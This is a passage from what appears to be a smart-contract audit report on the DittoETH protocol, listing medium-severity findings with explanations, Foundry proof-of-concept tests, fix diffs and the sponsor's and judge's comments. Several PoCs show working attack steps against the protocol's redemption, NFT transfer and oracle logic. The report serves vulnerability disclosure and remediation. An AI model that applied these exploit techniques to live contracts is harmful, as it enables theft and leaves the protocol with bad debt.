position) will not incentivize liquidators to liquidate it even if it is liquidable, leaving bad debt to the protocol.
I discovered that the proposeRedemption()
improperly verifies the proposer (redeemer)‘s inputted shortOrderId
param, allowing an attacker to specify the shortOrderId
param to another shortOrder
’s id that does not correspond to the target redeeming shortRecord
.
The vulnerability can bypass the minShortErc
threshold verification process on the shortOrder
corresponding to the processing shortRecord
, eventually allowing an attacker to leave a small shortRecord
position that disincentivizes liquidators from liquidating the position. Furthermore, the small shortRecord
also disables the redemption mechanism from redeeming it for ethCollateral
.
Proof of Concept
While processing the proposalInput
param, the proposeRedemption()
will load the shortOrder
from storage according to the attacker-inputted shortOrderId
param (i.e., p.shortOrderId
).
Suppose that the attacker wants to leave their small shortRecord
position to disincentivize liquidators from liquidating it (as well as disabling the redemption mechanism from redeeming it for ethCollateral
). They can place their partially-filled shortRecord
that has the corresponding shortOrder.ercAmount < minShortErc
to be redeemed via a Sybil account.
To bypass the minShortErc
threshold verification process from canceling their small shortOrder
, the attacker must specify the p.shortOrderId
param to another shortOrder
’s id with ercAmount
>=
minShortErc
. The manipulated p.shortOrderId
param can bypass the verification process because if the loaded shortOrder.ercAmount
>= minShortErc
, the proposeRedemption()
will not proceed to verify the validity of the shortOrder
.
Hence, the attacker can target their shortRecord
to be redeemed and leave its corresponding shortOrder
with ercAmount < minShortErc
to keep alive on the order book. Once their small shortOrder
is matched again, it will leave the shortRecord
position less than the minShortErc
threshold, disincentivizing liquidators from liquidating it.
Furthermore, the small shortRecord
(i.e., shortRecord.ercDebt < minShortErc
) also disables the redemption mechanism from redeeming it for ethCollateral
.
function proposeRedemption(
address asset,
MTypes.ProposalInput[] calldata proposalInput,
uint88 redemptionAmount,
uint88 maxRedemptionFee
) external isNotFrozen(asset) nonReentrant {
...
for (uint8 i = 0; i < proposalInput.length; i++) {
p.shorter = proposalInput[i].shorter;
p.shortId = proposalInput[i].shortId;
p.shortOrderId = proposalInput[i].shortOrderId;
STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId];
...
@1 STypes.Order storage shortOrder = s.shorts[asset][p.shortOrderId]; //@audit -- The shortOrder is loaded from storage according to the attacker's p.shortOrderId param
@2 if (currentSR.status == SR.PartialFill && shortOrder.ercAmount < minShortErc) { //@audit -- The attacker can leave their target partially-filled shortOrder (corresponding to the redeeming shortRecord) with ercAmount < minShortErc alive by specifying the p.shortOrderId param to another shortOrder's id with ercAmount >= minShortErc
@3 if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder(); //@audit -- The root cause is that the proposeRedemption() verifies the loaded shortOrder against the legitimate shortRecordId and shorter params only after the condition in @2 was met
LibOrders.cancelShort(asset, p.shortOrderId);
}
...
}
...
}
@1 -- The shortOrder is loaded from storage according to the attacker's p.shortOrderId param
.@2 -- The attacker can leave their target partially-filled shortOrder (corresponding to the redeeming shortRecord) with ercAmount < minShortErc alive by specifying the p.shortOrderId param to another shortOrder's id with ercAmount >= minShortErc
@3 -- The root cause is that the proposeRedemption() verifies the loaded shortOrder against the legitimate shortRecordId and shorter params only after the condition in @2 was met
Recommended Mitigation Steps
To fix the vulnerability, move out the shortOrder
verification check and execute it immediately after loading the shortOrder
from storage.
function proposeRedemption(
address asset,
MTypes.ProposalInput[] calldata proposalInput,
uint88 redemptionAmount,
uint88 maxRedemptionFee
) external isNotFrozen(asset) nonReentrant {
...
for (uint8 i = 0; i < proposalInput.length; i++) {
p.shorter = proposalInput[i].shorter;
p.shortId = proposalInput[i].shortId;
p.shortOrderId = proposalInput[i].shortOrderId;
STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId];
...
STypes.Order storage shortOrder = s.shorts[asset][p.shortOrderId];
+ if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder();
if (currentSR.status == SR.PartialFill && shortOrder.ercAmount < minShortErc) {
- if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder();
LibOrders.cancelShort(asset, p.shortOrderId);
}
...
}
...
}
Assessed type
Invalid Validation
raymondfam (lookout) commented:
Inadequate/unstructured proof to support the intended code refactoring.
serial-coder (warden) commented:
Please have a second look at the following from the
Proof of Concept
section.To demystify the vulnerability again, please follow the links along:
- The
shortOrder
is loaded from storage according to the attacker’sp.shortOrderId
param.- The attacker can leave their target partially-filled
shortOrder
(corresponding to the redeemingshortRecord
) withercAmount
<minShortErc
alive on the order book by specifying thep.shortOrderId
param to anothershortOrder
’s id withercAmount
>=minShortErc
(to bypass theif
statement).- The root cause is that the
proposeRedemption()
will verify the loadedshortOrder
against theshortRecordId
andshorter
params only after the condition in Step 2 was met.- Since the attacker already bypassed the condition check in Step 2, Step 3 would not be executed.
Hence, if the attacker points the
p.shortOrderId
param to another (fake)shortOrder
’s id withercAmount
>=minShortErc
, they can bypass the validity check of the loaded (fake)shortOrder
, preventing their targeted smallshortOrder
(the realshortOrder
corresponding to the redeemingshortRecord
) from being canceled.Subsequently, the attacker can leave their target small
shortOrder
on the order book and when it is matched, its short position (shortRecord
) will be less than theminShortErc
threshold that will disincentivize liquidators from liquidating the position even if it is liquidable, leading to the protocol’s bad debt. Moreover, the smallshortRecord
(i.e.,shortRecord.ercDebt < minShortErc
) will also disable the redemption mechanism from redeeming it forethCollateral
.Summary Of Impacts:
- An attacker can leave small
shortOrders
on the order book. As a result, largeBid
orders can run out of gas if the attacker places many smallshortOrders
on the order book.- Liquidators are disincentivized from liquidating small
shortRecords
because of their small amounts.- Small
shortRecords
disable the redemption mechanism from redeeming them forethCollateral
even if they have poor collateralization.Solution:
The snippet below presents how to fix the vulnerability by verifying the validity of the loaded
shortOrder
(Step 1) against theshortRecordId
andshorter
params (Step 3) before processing the loadedshortOrder
(Step 2).This way, an attacker cannot manipulate the
p.shortOrderId
param to another (fake)shortOrder
’s id:function proposeRedemption( address asset, MTypes.ProposalInput[] calldata proposalInput, uint88 redemptionAmount, uint88 maxRedemptionFee ) external isNotFrozen(asset) nonReentrant { ... for (uint8 i = 0; i < proposalInput.length; i++) { p.shorter = proposalInput[i].shorter; p.shortId = proposalInput[i].shortId; p.shortOrderId = proposalInput[i].shortOrderId; STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId]; ... STypes.Order storage shortOrder = s.shorts[asset][p.shortOrderId]; //@audit -- Step 1 + if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder(); //@audit -- Process Step 3 before Step 2 to fix the vulnerability if (currentSR.status == SR.PartialFill && shortOrder.ercAmount < minShortErc) { //@audit -- Step 2 - if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder(); //@audit -- Step 3 LibOrders.cancelShort(asset, p.shortOrderId); } ... } ... }
ditto-eth (DittoETH) confirmed
Nice finding. Medium is appropriate, as an attacker can bypass the
minShortErc
validation.
[M-02] Can manipulate the C.SHORT_STARTING_ID
ShortRecord
of the TAPP
Submitted by klau5
Impact
Attackers can make it so that risky debts are not liquidated, and unliquidated risky debts can accumulate over the long term.
Proof of Concept
ShortRecord
of TAPP
can also be liquidated. If all ercDebt
is liquidated, LibShortRecord.deleteShortRecord
is called. It moves the C.SHORT_STARTING_ID
SR of TAPP
to the reusing ID list and close it.
Later, when user’s ShortRecord
is liquidated, LibShortRecord.fillShortRecord
is called to change the status of C.SHORT_STARTING_ID
to FullyFilled
and update the value in TAPP
’s C.SHORT_STARTING_ID
ShortRecord
.
However, LibShortRecord.fillShortRecord
does not move the C.SHORT_STARTING_ID
that has been moved to the reusing ID list back to the active state list:
function _fullorPartialLiquidation(MTypes.PrimaryLiquidation memory m) private {
STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];
uint88 decreaseCol = min88(m.totalFee + m.ethFilled, m.short.collateral);
@> if (m.short.ercDebt == m.ercDebtMatched) {
// Full liquidation
LibSRUtil.disburseCollateral(m.asset, m.shorter, m.short.collateral, m.short.dethYieldRate, m.short.updatedAt);
@> LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
...
} else {
...
// TAPP absorbs leftover short, unless it already owns the short
if (m.loseCollateral && m.shorter != address(this)) {
// Delete partially liquidated short
LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
// Absorb leftovers into TAPP short
@> LibShortRecord.fillShortRecord(
m.asset,
@> address(this),
@> C.SHORT_STARTING_ID,
SR.FullyFilled,
m.short.collateral,
m.short.ercDebt,
s.asset[m.asset].ercDebtRate,
m.short.dethYieldRate
);
}
}
...
}
If you mint a ShortRecord
as NFT and transfer it, the recipient creates a new ShortRecord
. If you send an NFT to TAPP
, C.SHORT_STARTING_ID
can be reused and overwrite the original value.
function transferShortRecord(address from, address to, uint40 tokenId) internal {
...
@> uint8 id = LibShortRecord.createShortRecord(
asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
);
nft.owner = to;
nft.shortRecordId = id;
nft.shortOrderId = 0;
}
This is PoC. Add it to LiquidationPrimary.t.sol
:
function test_PoCTappSRManipulate() public { // same with test_PrimaryPartialShort1ThenPartialShort2ThenFullShortTappThenPartialShort3LiquidateCratioScenario3, but added the code at the bottom.
/////Partial Liquidation 1/////
(LiquidationStruct memory m,) =
partiallyLiquidateShortPrimary({scenario: PrimaryScenarios.CRatioBelow110BlackSwan, caller: receiver});
uint256 collateral = DEFAULT_PRICE.mulU88(DEFAULT_AMOUNT).mul(6 ether) - m.ethFilled - m.tappFee - m.gasFee - m.callerFee;
uint256 ercDebt = DEFAULT_AMOUNT.mulU88(0.5 ether) - m.ercDebtSocialized;
uint256 ercDebtAsset = DEFAULT_AMOUNT.mulU88(0.5 ether) + DEFAULT_AMOUNT; // 1 from dummy short
uint256 ercDebtRate = m.ercDebtRate;
// check balance after liquidate
checkShortsAndAssetBalance({
_shorter: tapp,
_shortLen: 1,
_collateral: collateral,
_ercDebt: ercDebt,
_ercDebtAsset: ercDebtAsset,
_ercDebtRateAsset: ercDebtRate,
_ercAsset: DEFAULT_AMOUNT //1 from short minting
});
// Bring TAPP balance to 0 for easier calculations
vm.stopPrank();
uint88 balanceTAPP = diamond.getVaultUserStruct(VAULT.ONE, tapp).ethEscrowed;
depositEth(tapp, DEFAULT_AMOUNT.mulU88(DEFAULT_PRICE) - balanceTAPP);
vm.prank(tapp);
createLimitBid(DEFAULT_PRICE, DEFAULT_AMOUNT);
/////Partial Liquidation 2/////
_setETH(4000 ether); // Back to default price
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // Short Record C.SHORT_STARTING_ID gets re-used
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, receiver); // Set up partial liquidation
// Partial Liquidation
_setETH(730 ether); // c-ratio 1.095
vm.prank(receiver);
(uint256 gasFee,) = diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);
// Assert updated TAPP short
STypes.ShortRecord memory short = getShortRecord(tapp, C.SHORT_STARTING_ID);
assertEq(short.collateral, collateral * 2 + m.gasFee - gasFee); // almost exactly the same, just diff gas fee
assertEq(short.ercDebt, ercDebt * 2);
ercDebtAsset = diamond.getAssetStruct(asset).ercDebt + DEFAULT_AMOUNT / 2; // add back partial liquidation
ercDebtRate += m.ercDebtSocialized.div(ercDebtAsset - DEFAULT_AMOUNT); // entire collateral was removed in denominator
assertApproxEqAbs(short.ercDebtRate, (ercDebtRate + m.ercDebtRate) / 2, MAX_DELTA_SMALL);
///////Full Liquidation///////
uint88 amount = short.ercDebt + short.ercDebt.mulU88(diamond.getAssetStruct(asset).ercDebtRate - short.ercDebtRate);
fundLimitAskOpt(DEFAULT_PRICE, amount, receiver); // Set up full liquidation
vm.prank(receiver);
diamond.liquidate(asset, tapp, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);
// Assert TAPP short fully liquidated and closed
short = getShortRecord(tapp, C.SHORT_STARTING_ID);
assertTrue(short.status == SR.Closed);
// Bring TAPP balance to 0 for easier calculations
balanceTAPP = diamond.getVaultUserStruct(VAULT.ONE, tapp).ethEscrowed;
vm.prank(tapp);
createLimitBid(DEFAULT_PRICE, balanceTAPP.divU88(DEFAULT_PRICE));
fundLimitAskOpt(DEFAULT_PRICE, balanceTAPP.divU88(DEFAULT_PRICE), receiver);
//////Partial Liquidation 3//////
_setETH(4000 ether); // Back to default price
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // Short Record C.SHORT_STARTING_ID gets re-used
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, receiver); // Set up partial liquidation
// Partial Liquidation
_setETH(730 ether); // c-ratio 1.095
vm.prank(receiver);
(gasFee,) = diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);
// Assert recreated TAPP short
short = getShortRecord(tapp, C.SHORT_STARTING_ID);
assertEq(short.collateral, collateral + m.gasFee - gasFee); // exactly the same, except for diff gas fee
assertEq(short.ercDebt, ercDebt); // exactly the same
assertApproxEqAbs(short.ercDebtRate, diamond.getAssetStruct(asset).ercDebtRate, MAX_DELTA_SMALL);
assertTrue(short.status == SR.FullyFilled);
// --- PoC start ----
// C.SHORT_STARTING_ID is still in reuseable id list
STypes.ShortRecord memory head = getShortRecord(tapp, C.HEAD);
assertEq(head.prevId, C.SHORT_STARTING_ID);
address attacker = address(0x1337);
_setETH(4000 ether); // Back to default price
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, attacker);
// make short record NFT
vm.prank(attacker);
diamond.mintNFT(asset, 2, 0);
// before transfer, the TAPP C.SHORT_STARTING_ID result is same
short = getShortRecord(tapp, C.SHORT_STARTING_ID);
assertEq(short.collateral, collateral + m.gasFee - gasFee); // exactly the same, except for diff gas fee
assertEq(short.ercDebt, ercDebt); // exactly the same
assertApproxEqAbs(short.ercDebtRate, diamond.getAssetStruct(asset).ercDebtRate, MAX_DELTA_SMALL);
assertTrue(short.status == SR.FullyFilled);
// transfer NFT to TAPP, this will overwrite C.SHORT_STARTING_ID SR of TAPP (create new SR -> reuse id C.SHORT_STARTING_ID)
vm.prank(attacker);
diamond.transferFrom(attacker, tapp, 1);
// after transfer, the TAPP C.SHORT_STARTING_ID SR is manipulated
short = getShortRecord(tapp, C.SHORT_STARTING_ID);
assertNotEq(short.collateral, collateral + m.gasFee - gasFee);
assertNotEq(short.ercDebt, ercDebt);
}
Recommended Mitigation Steps
Prevents ShortRecord
NFT from being sent to TAPPs
.
ditto-eth (DittoETH) confirmed and commented:
Great find, solution seems to work too.
[M-03] The colRedeemed
variable is wrongly retrieved in LibBytes::readProposalData
function
Submitted by Bube, also found by maxim371 and Rhaydden
The LibBytes::readProposalData
function uses inline assembly for efficient data extraction from a byte array. The colRedeemed
variable, which represents an 11-byte value within the ProposalData
structure, is intended to be extracted by applying a mask to isolate the relevant bytes. However, the current implementation incorrectly uses the add
operation. That leads to retrieve incorrect value of colRedeemed
variable:
function readProposalData(address SSTORE2Pointer, uint8 slateLength) internal view returns (MTypes.ProposalData[] memory) {
bytes memory slate = SSTORE2.read(SSTORE2Pointer);
// ProposalData is 51 bytes
require(slate.length % 51 == 0, "Invalid data length");
MTypes.ProposalData[] memory data = new MTypes.ProposalData[](slateLength);
for (uint256 i = 0; i < slateLength; i++) {
// 32 offset for array length, multiply by each ProposalData
uint256 offset = i * 51 + 32;
address shorter; // bytes20
uint8 shortId; // bytes1
uint64 CR; // bytes8
uint88 ercDebtRedeemed; // bytes11
uint88 colRedeemed; // bytes11
assembly {
// mload works 32 bytes at a time
let fullWord := mload(add(slate, offset))
// read 20 bytes
shorter := shr(96, fullWord) // 0x60 = 96 (256-160)
// read 8 bytes
shortId := and(0xff, shr(88, fullWord)) // 0x58 = 88 (96-8), mask of bytes1 = 0xff * 1
// read 64 bytes
CR := and(0xffffffffffffffff, shr(24, fullWord)) // 0x18 = 24 (88-64), mask of bytes8 = 0xff * 8
fullWord := mload(add(slate, add(offset, 29))) // (29 offset)
// read 88 bytes
ercDebtRedeemed := shr(168, fullWord) // (256-88 = 168)
// read 88 bytes
@> colRedeemed := add(0xffffffffffffffffffffff, shr(80, fullWord)) // (256-88-88 = 80), mask of bytes11 = 0xff * 11
}
data[i] = MTypes.ProposalData({
shorter: shorter,
shortId: shortId,
CR: CR,
ercDebtRedeemed: ercDebtRedeemed,
colRedeemed: colRedeemed
});
}
return data;
}
The add
operation would incorrectly add the mask to the shifted value, potentially resulting in an incorrect value for colRedeemed
. The correct operation should use and
to apply the mask and isolate the 11-byte colRedeemed
value.
The RedemptionFacet
contract calls the LibBytes::readProposalData
function and uses colRedeemed
variable in claimRedemption
function.
Proof of Concept
Link to the code here.
The following contract Assembly
is a simple contract that contains two functions: incorrectColRedeemed
with the logic from the LibBytes
contract and the correctColRedeemed
with the correct logic:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.23;
contract Assembly {
function incorrectColRedeemed(uint256 fullWord) public pure returns (uint88) {
uint88 col;
assembly {
col := add(0xffffffffffffffffffffff, shr(80, fullWord))
}
return col;
}
function correctColRedeemed(uint256 fullWord) public pure returns (uint256) {
uint88 col;
assembly {
col := and(0xffffffffffffffffffffff, shr(80, fullWord))
}
return col;
}
}
The following test file contains test function test_assembly
that compares the returned value from the both functions and shows the differences between the results:
contract TestAssembly is Test {
Assembly asm = new Assembly();
uint256 testFullWord = 0x1234599990abcdef1234567890abcdef1234567890abcdef1234567890abcdef;
function test_assembly() external view {
assert(asm.incorrectColRedeemed(testFullWord) < asm.correctColRedeemed(testFullWord));
console.log('Incorrect:', asm.incorrectColRedeemed(testFullWord));
console.log('Correct: ', asm.correctColRedeemed(testFullWord));
}
Tools Used
Foundry
Recommended Mitigation Steps
Replace the add
operation with an and
operation to correctly apply the mask:
colRedeemed := and(0xffffffffffffffffffffff, shr(80, fullWord))
.
ditto-eth (DittoETH) confirmed
[M-04] transferShortRecord
: Can transfer a newly created ShortRecord
using a previously minted NFT
Submitted by klau5
Can move the newly created ShortRecord
using the NFT that was minted in the past.
Proof of Concept
Even if the ShortRecord
is closed, the previously minted NFT is not burnt. The s.nftMapping[tokenId].shortRecordId
data is not deleted either. Therefore, when a ShortRecord
is created by reusing the same ID, the existing NFT points to the new ShortRecord
.
However, when transferring the NFT and the ShortRecord
, it does not check whether this NFT is a newly minted NFT or a past NFT. Those who have been allowed to transfer the NFT in the past still can transfer the newly created ShortRecord
.
function transferShortRecord(address from, address to, uint40 tokenId) internal {
AppStorage storage s = appStorage();
STypes.NFT storage nft = s.nftMapping[tokenId];
address asset = s.assetMapping[nft.assetId];
@> STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId]; // no check for tokenId
if (short.status == SR.Closed) revert Errors.OriginalShortRecordCancelled();
if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();
// @dev shortOrderId is already validated in mintNFT
if (short.status == SR.PartialFill) {
LibOrders.cancelShort(asset, nft.shortOrderId);
}
short.tokenId = 0;
LibShortRecord.deleteShortRecord(asset, from, nft.shortRecordId);
LibBridgeRouter.transferBridgeCredit(asset, from, to, short.collateral);
uint8 id = LibShortRecord.createShortRecord(
asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
);
nft.owner = to;
nft.shortRecordId = id;
nft.shortOrderId = 0;
}
This is PoC. Add it to ERC721Facet.t.sol
and run it:
function test_PoCNFTTransferPossibleWithReusedID() public {
address attacker = address(0x1337);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
vm.prank(sender);
diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0);
STypes.NFT memory nftBefore = diamond.getNFT(1);
assertEq(nftBefore.owner, sender);
assertEq(nftBefore.shortRecordId, C.SHORT_STARTING_ID);
assertEq(diamond.ownerOf(1), sender);
assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 1);
vm.prank(sender);
diamond.approve(attacker, 1); // attakcer approved old SR NFT
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
exitShort(C.SHORT_STARTING_ID, DEFAULT_AMOUNT, DEFAULT_PRICE, sender); // SR Closed
STypes.NFT memory nftAfterExit = diamond.getNFT(1);
assertEq(nftAfterExit.owner, nftBefore.owner);
assertEq(nftBefore.shortRecordId, nftAfterExit.shortRecordId);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // shortRecordId reused
assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 0);
vm.prank(sender);
diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0); // mint NFT again with new SR (NFT tokenId #2)
assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 2);
STypes.NFT memory nftAfterNewSRCreated = diamond.getNFT(1);
assertEq(nftAfterNewSRCreated.owner, nftBefore.owner); // but NFT mapping is still exist
assertEq(nftAfterNewSRCreated.shortRecordId, C.SHORT_STARTING_ID);
assertEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker has no SR
vm.prank(attacker);
diamond.transferFrom(sender, attacker, 1); // attacker still can transfer NFT, and move new SR
assertNotEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker successfully transfered SR
}
Recommended Mitigation Steps
function transferShortRecord(address from, address to, uint40 tokenId) internal {
AppStorage storage s = appStorage();
STypes.NFT storage nft = s.nftMapping[tokenId];
address asset = s.assetMapping[nft.assetId];
STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId];
if (short.status == SR.Closed) revert Errors.OriginalShortRecordCancelled();
if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();
+ if (short.tokenId != tokenId) revert Errors.NotValidNFT();
// @dev shortOrderId is already validated in mintNFT
if (short.status == SR.PartialFill) {
LibOrders.cancelShort(asset, nft.shortOrderId);
}
short.tokenId = 0;
LibShortRecord.deleteShortRecord(asset, from, nft.shortRecordId);
LibBridgeRouter.transferBridgeCredit(asset, from, to, short.collateral);
uint8 id = LibShortRecord.createShortRecord(
asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
);
nft.owner = to;
nft.shortRecordId = id;
nft.shortOrderId = 0;
}
Assessed type
Invalid Validation
ditto-eth (DittoETH) confirmed, but disagreed with severity and commented:
This scenario is technically possible, but only happens because of user error. I recommend low because a series of mistakes on the user’s part would have to occur for this scenario:
- User gives approval to an attacker.
- User closes their SR before the SR is transferred. Why would the user give approval to another address to transfer their SR but then not wait for the transfer to happen?
- And if for some reason the user does not want to transfer anymore they can revoke approval.
- User gives approval to an attacker.
- User closes their SR before the SR is transferred. Why would the user give approval to another address to transfer their SR but then not wait for the transfer to happen?
This can be problematic not only in attacks, but also in general situations. For example, a user can approve to NFT marketplace contract in order to sell their NFT. A scenario is possible where a user approves an NFT for sale -> the SR is closed -> a new SR is created with the same ID -> and the NFT is sold.
A user will think that it doesn’t matter if the old NFT is sold because the closed SR will move. A user doesn’t realize that the new SR will move when the old NFT is sold.
- And if for some reason the user does not want to transfer anymore they can revoke approval.
NFT should be minted independently per SR and should not affect each other. The current implementation implicitly points to multiple SRs with a single NFT. In a strict implementation, the past NFT should point to a closed SR, but due to optimizations, it doesn’t.
Revoking the approval of past SR NFTs to prevent the current SR from moving is not the right solution because it’s violate the individuality of NFT and SR, and user would not think that they should revoke past approval to prevent to moving new SR.
hansfriese (judge) decreased severity to Medium and commented:
Thanks for your detailed comments. I agree that managing a new SR using prior approval is not a recommended approach. I think Medium is more appropriate for the external requirements.
[M-05] oracleCircuitBreaker
: Not checking if price information of asset is stale
Submitted by klau5, also found by 0xSecuri, Infect3d, Bauchibred, falconhoof, serial-coder, nonseodion, and Bigsam
Proof of Concept
At getOraclePrice
, it does not check if the timeStamp
of asset token price oracle is in a stale. If it uses outdated price information, users will trade at the wrong price.
function getOraclePrice(address asset) internal view returns (uint256) {
AppStorage storage s = appStorage();
AggregatorV3Interface baseOracle = AggregatorV3Interface(s.baseOracle);
uint256 protocolPrice = getPrice(asset);
AggregatorV3Interface oracle = AggregatorV3Interface(s.asset[asset].oracle);
if (address(oracle) == address(0)) revert Errors.InvalidAsset();
try baseOracle.latestRoundData() returns (uint80 baseRoundID, int256 basePrice, uint256, uint256 baseTimeStamp, uint80) {
if (oracle == baseOracle) {
// @dev multiply base oracle by 10**10 to give it 18 decimals of precision
uint256 basePriceInEth = basePrice > 0 ? uint256(basePrice * C.BASE_ORACLE_DECIMALS).inv() : 0;
basePriceInEth = baseOracleCircuitBreaker(protocolPrice, baseRoundID, basePrice, baseTimeStamp, basePriceInEth);
return basePriceInEth;
} else {
// prettier-ignore
(
uint80 roundID,
int256 price,
/*uint256 startedAt*/
,
@> uint256 timeStamp,
/*uint80 answeredInRound*/
) = oracle.latestRoundData();
uint256 priceInEth = uint256(price).div(uint256(basePrice));
@> oracleCircuitBreaker(roundID, baseRoundID, price, basePrice, timeStamp, baseTimeStamp);
return priceInEth;
}
} catch {
if (oracle == baseOracle) {
return twapCircuitBreaker();
} else {
// prettier-ignore
(
uint80 roundID,
int256 price,
/*uint256 startedAt*/
,
@> uint256 timeStamp,
/*uint80 answeredInRound*/
) = oracle.latestRoundData();
@> if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
uint256 twapInv = twapCircuitBreaker();
uint256 priceInEth = uint256(price * C.BASE_ORACLE_DECIMALS).mul(twapInv);
return priceInEth;
}
}
The oracleCircuitBreaker
function checks if the Chainlink oracle data for each asset is valid. It does not check if the timeStamp
is in a stale too.
function oracleCircuitBreaker(
uint80 roundId,
uint80 baseRoundId,
int256 chainlinkPrice,
int256 baseChainlinkPrice,
uint256 timeStamp,
uint256 baseTimeStamp
) private view {
@> bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
|| baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
if (invalidFetchData) revert Errors.InvalidPrice();
}
Recommended Mitigation Steps
Set the chainlinkStaleLimit
for each asset and check if the price information is not outdated.
function getOraclePrice(address asset) internal view returns (uint256) {
AppStorage storage s = appStorage();
AggregatorV3Interface baseOracle = AggregatorV3Interface(s.baseOracle);
uint256 protocolPrice = getPrice(asset);
AggregatorV3Interface oracle = AggregatorV3Interface(s.asset[asset].oracle);
if (address(oracle) == address(0)) revert Errors.InvalidAsset();
try baseOracle.latestRoundData() returns (uint80 baseRoundID, int256 basePrice, uint256, uint256 baseTimeStamp, uint80) {
...
} catch {
if (oracle == baseOracle) {
return twapCircuitBreaker();
} else {
// prettier-ignore
(
uint80 roundID,
int256 price,
/*uint256 startedAt*/
,
uint256 timeStamp,
/*uint80 answeredInRound*/
) = oracle.latestRoundData();
- if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
+ if (roundID == 0 || price == 0 || timeStamp > block.timestamp || block.timestamp > chainlinkStaleLimit[asset] + timeStamp) revert Errors.InvalidPrice();
uint256 twapInv = twapCircuitBreaker();
uint256 priceInEth = uint256(price * C.BASE_ORACLE_DECIMALS).mul(twapInv);
return priceInEth;
}
}
function oracleCircuitBreaker(
uint80 roundId,
uint80 baseRoundId,
int256 chainlinkPrice,
int256 baseChainlinkPrice,
uint256 timeStamp,
- uint256 baseTimeStamp
+ uint256 baseTimeStamp,
+ address asset
) private view {
bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
- || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
+ || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0 || block.timestamp > chainlinkStaleLimit[asset] + timeStamp;
if (invalidFetchData) revert Errors.InvalidPrice();
}
Assessed type
Oracle
ditto-eth (DittoETH) confirmed and commented via duplicate Issue #252:
Agree, this seems like a valid issue. Returned base oracle price could be stale.
I will maintain this as a primary issue since it encompasses both concerns. Additionally, I will allocate partial credit to other findings explaining only one case.
FYI, it should check if
price <= 0
instead ofprice == 0
in the catch block.
[M-06] ShortOrders
can be created with ercAmount == minAskEth/2
, increasing the gas costs for matching large orders and disincentivizing liquidators from liquidating them
Submitted by nonseodion, also found by 0xbepresent
A user can create a ShortOrder
with ercAmount == minAskEth/2
by matching the ShortOrder
with a bid that fills it up to minAskEth/2
and exiting the ShortRecord
leaving only minAskEth/2
in the ShortOrder
with an empty ShortRecord
.
Description
This issue makes use of two properties in the codebase.
- A
ShortOrder
can be matched such that onlyminAskEth/2
remains in theShortOrder
.
A ShortOrder
on the market can be matched by an incoming bid. This match is done in the call to bidMatchAlgo()
function. Which tries to fill the bid with asks or shorts in the market.
if (incomingBid.price >= lowestSell.price && (lowestSell.orderType == O.LimitAsk || lowestSell.orderType == O.LimitShort)) {
// @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingBid, shortHintArray);
b.shortHintId = b.shortId = Asset.startingShortId;
